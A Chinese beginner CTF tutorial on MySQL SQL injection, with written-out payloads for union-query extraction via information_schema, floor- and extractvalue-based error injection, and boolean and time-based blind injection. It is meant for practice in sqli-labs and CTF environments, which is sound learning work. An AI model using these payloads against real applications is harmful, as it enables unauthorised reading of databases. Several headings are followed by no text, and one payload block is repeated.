本文非常简单,适合完全0基础入门学习
需要知道mysql增删改查的最基础用法(前面博文的mysql部分)
[ctf零基础入门]php基础
可以使用里面的网页进行测试,也可以安装使用sqli-labs

常用函数

查看用户名:

查询信息(以下依次为查看版本,当前使用数据库,数据库路径,数据库安装路径)

查询操作系统

上节提到的user表里的内容太多了,截图太麻烦,新建一个info表测试。
连接字符concat

limit用法:

联合查询注入

select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='TableName'

UNION用于将多个SELECT语句的结果合并到一个结果集中。

结合之前所学
因为新手没有基础,可以分别写出两句话,然后再进行修改
联合查询语句:id=1 union select 1,2,3;
然后把1的位置,替换成information_schema语句。
id=1 union select ( select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3;
得到当前表名,替换第二句得到当前列名
最后直接查询到想要的字段,
可以使用我前一个博文[ctf零基础入门]php基础搭建的环境为例(使用注释掉的代码),增加一句进行测试:

echo mysql_error();

也可以在下面链接练习:
http://123.206.87.240:8002/chengjidan/index.php

报错注入

Floor注入

count() 返回执行数量
floor()返回不大于参数的最大整数
rand() 返回(0,1)间随机数
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
Group by 根据一个或者多个列机构进行分组排序,floor这里随机产生0,1.这里会报错

为了直观 可以前后都加上~ 即0x7e

extractvalue
select extractvalue(1,concat(0x7e,(select version())));

报错注入得到的结果一般都有长度限制,可以使用substr()进行截取

布尔盲注

注入语句:
?id=1’ and left(database(),1)=‘s’ %23
确定前一位后 尝试前2、3、
?id=1’ and mid(database(),1,1)=‘s’%23
需要掌握(了解)以下几个函数
注入语句:
?id=1’ and left(database(),1)=‘s’ %23
确定前一位后 尝试前2、3、
?id=1’ and mid(database(),1,1)=‘s’%23
left()
regexp()
like()
substr()
ascii() 不能使用引号的情况下使用ascii
ord()
mid()

时间盲注

?id=1’ and sleep(5)–+ 判断闭合问题
和之前布尔盲注原理类似,加上if和sleep 进行判断
mysql> select mid(database(),1,1)=‘m’;
mysql> select if(mid(database(),1,1)=‘m’,sleep(0.5),0);

注入语句:
id=1’ and if(mid(database(),1,1)=‘s’,sleep(2),1) %23
id=1’ and if(ascii(substr(database(),1,1))=115,sleep(2),1)%23

sqli上的时间盲注题目可以使用burp ,是因为length不一样。查看源代码可以找到答案因为它的代码分开执行,虽然回显一样但是代码有点区别导致不太一样 重新修改漏洞后不能用burp破解,但是盲注测试是正常的

更多推荐

[ctf零基础入门]sql注入